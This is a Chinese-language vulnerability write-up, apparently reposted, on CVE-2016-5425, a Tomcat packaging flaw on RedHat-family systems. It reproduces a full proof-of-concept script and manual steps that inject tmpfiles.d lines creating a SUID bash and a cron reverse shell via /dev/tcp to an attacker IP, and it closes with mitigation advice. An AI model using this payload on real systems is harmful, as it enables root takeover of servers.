最近,CE真的是有点忙,不好意思,更的有点慢,只能先找其他博主的文章来充充数发发哈。(#^.^#)
虽然我们生活在阴沟里,但依然有人仰望星空!
基于RedHat系列,发行的Apache Tomcat本地提权漏洞
0x01 简介
-
通过yum 安装的时候,会在/usr/lib/tmpfiles.d/ 目录下创建一个tomcat.conf文件,该文件的属主为root,但是属组为tomcat,并且具有写权限,所以当我们拥有webshell 权限的时候,就可以往里面写东西,此次受到影响的主要是基于RedHat发行版Apache Tomcat,包括CentOS,RedHat,OracleLinux,Fedora等等。主要原因是普通Tomcat用户拥有权限来对/usr/lib/tmpfiles.d/tomcat.conf这个配置文件进行读写,那么该用户组成员或者拥有普通Tomcat权限的WebShell可以将权限提升至root级别。
-
/usr/lib/tmpfiles.d/ 中的文件描述了 systemd-tmpfiles 如何创建、清理、删除临时文件和目录
-
systemd-tmpfiles 是用来根据配置文件的指引,创建、删除、清理 易变文件与临时文件,它根据三个目录来决定如何创建、删除、清理 易变文件与临时文件以及易变目录与临时目录。
-
这三个目录分别是:
/etc/tmpfiles.d/*.conf
/run/tmpfiles.d/*.conf
/usr/lib/tmpfiles.d/*.conf
-
如果我们能往 这三个目录里写文件,那么,当/usr/bin/systemd-tmpfiles --create 得到执行的时候,它就可以根据我们写的内容来创建文件并修改权限
-
上面已经提到 /usr/lib/tmpfiles.d/tomcat.conf 权限为664,所以,我们只要有tomcat 权限,就可以修改改文件,所以我们首先需要一个tomcat 的权限。
-
0x02 手工测试步骤
1.先确定下本地LINUX发行版本和TOMCAT版本。
2.切换到tomcat组权限下,附加恶意payload到/usr/lib/tmpfiles.d/tomcat.conf文件中
cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/192.168.1.3/9999 0<&1 2>&1 & \n\n"
_eof_
3.root权限下手动触发/usr/bin/systemd-tmpfiles –create [这步比较鸡肋,依赖系统有其他服务,cronjobs,启动脚本来触发,如果系统有,则好,如果没有,这个漏洞相对利用来说,需要触发systemd-tmpfiles,有点鸡肋]
[root@localhost Desktop]# /usr/bin/systemd-tmpfiles --create
4.nc监听端口,获取反弹root的反弹shell
0x03 漏洞影响
攻击者可以在具有tomcat权限时,通过改写配置文件实现本地提权到ROOT权限。如果远程攻击者结合特定的WEB应用程序漏洞,也可以实现远程利用。
0x04 漏洞编号
CVE-2016-5425
0x05 影响的版本
- CentOS
- Fedora
- Oracle Linux
- RedHat
- Redhat官网细节:https://access.redhat.com/security/cve/CVE-2016-5425
0x06 漏洞复现
基于RedHat发行版的Tomcat安装后,tomcat组用户对tomcat.conf文件具有写权限,如下
[root@localhost ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf
-rw-rw-r--. 1 root tomcat 43 May 12 2015 /usr/lib/tmpfiles.d/tomcat.conf
tmpfiles.d目录下的配置文件是systemd-tmpfiles用于管理临时文件的,攻击者可以非常容易的注入恶意payload进tomcat.conf文件,比如新建一个反弹SHELL,新建一个具有SUID权限的文件。当/usr/bin/systemd-tmpfiles执行的时候,注入的payload也会随之得到执行。
在REDHAT发行版,默认启动后,systemd-tmpfiles会通过systemd-tmpfiles-setup.service服务得到执行,如下:
[root@localhost www]# cat /usr/lib/systemd/system/systemd-tmpfiles-setup.service |grep ExecStart
ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev
依赖于系统使用,systemd-tmpfiles也可以通过其他服务,cronjobs,启动脚本,等方式来触发。值得说明的另外一个地方是, systemd-tmpfiles不会因为配置文件中的语法错误导致报错停止。因此攻击者可以很容易的注入恶意PAYLOAD到/usr/lib/tmpfiles.d/tomcat.conf
根据下面的POC,我们可以看到,·被注入到tomcat.conf ,意思是反弹SHELL,并新建一个具有SUID权限的shell,具体C,z,F的含义,我们可以通过 man 5 tmpfiles.d来查看。
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1
POC 代码
-----------[ tomcat-RH-root.sh ]---------
#!/bin/bash
# Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit
# CVE-2016-5425
#
# Full advisory at:
# http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html
#
# Discovered and coded by:
# Dawid Golunski
# http://legalhackers.com
#
# Tested on RedHat, CentOS, OracleLinux, Fedora systems.
#
# For testing purposes only.
#
ATTACKER_IP=127.0.0.1
ATTACKER_PORT=9090
echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *"
echo -e " Discovered by Dawid Golunski\n"
echo "[+] Checking vulnerability"
ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat'
if [ $? -ne 0 ]; then
echo "Not vulnerable or tomcat installed under a different user than 'tomcat'"
exit 1
fi
echo -e "\n[+] Your system is vulnerable!"
echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..."
cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n"
_eof_
echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:"
cat /usr/lib/tmpfiles.d/tomcat.conf
echo -e "\n[+] Payload injected! Wait for your root shell...\n"
echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.),
the rootshell will be created in /usr/share/tomcat/rootsh.
Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n"
-
执行以后会返回一些信息,该脚本所做操作就只是把第32-34行的代码写到/usr/lib/tmpfiles.d/tomcat.conf 文件里
-
当管理员执行 /usr/bin/systemd-tmpfiles --create 的时候,/usr/lib/tmpfiles.d/tomcat.conf 里面的内容将会得到执行
1、把/bin/bash 复制到/usr/share/tomcat/rootsh
2、设置/usr/share/tomcat/rootsh 权限为4770
3、把"* * * * * root nohup bash -i >/dev/tcp/ ATTACKER_PORT 0<&1 2>&1 & \n\n" 写到/etc/cron.d/tomcatexploit ,权限为644, 因为/etc/cron.d的文件必须是权限644,否则会出错,属主为root,其实就是增加一个计划任务,每一分钟执行一次 bash -i >/dev/tcp/ ATTACKER_PORT 0<&1,即反弹shell 到我们指定的IP:端口
-
在poc 的19、20行定义了IP和端口变量,可以根据实际情况修改
-
Poc 执行完以后,/usr/lib/tmpfiles.d/tomcat.conf 文件里应该会多出以上3行内容
-
-
执行完以后,只要管理员执行了 /usr/bin/systemd-tmpfiles --create ,以上命令就会被执行,那么 /usr/bin/systemd-tmpfiles --create 何时会执行呢?
在 /usr/lib/systemd/system/systemd-tmpfiles-setup.service 里,就有这个命令。
也就是说,在systemd-tmpfiles-setup 服务重启的时候,就会被执行。
重启系统或手工重启该服务。因为在重启系统的时候,该服务将会自动启动,
**手工重启服务 /usr/bin/systemd-tmpfiles --create**
然后就可以看到在/usr/share/tomcat/rootsh ,已经被设置了s 标志位,也就是,而且在/etc/cron.d 目录下,写了一个计划任务,每一分钟执行,反弹一个shell 到我们10.1.1.100 ,端口为9999
然后我们只要在10.1.1.100 机器上打开nc监听9999端口即可,监听命令nc -lvp 端口号。大概等几秒或一分钟左右,会反弹一个Shell,即可得到root 权限。
0x07 解决办法
- 临时修复建议
-
可以调整/usr/lib/tmpfiles.d/tomcat.conf权限,移除tomcat组的写权限。
chmod 644 /usr/lib/tmpfiles.d/tomcat.conf
-
- 更新最新Tomcat包
- Redhat安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。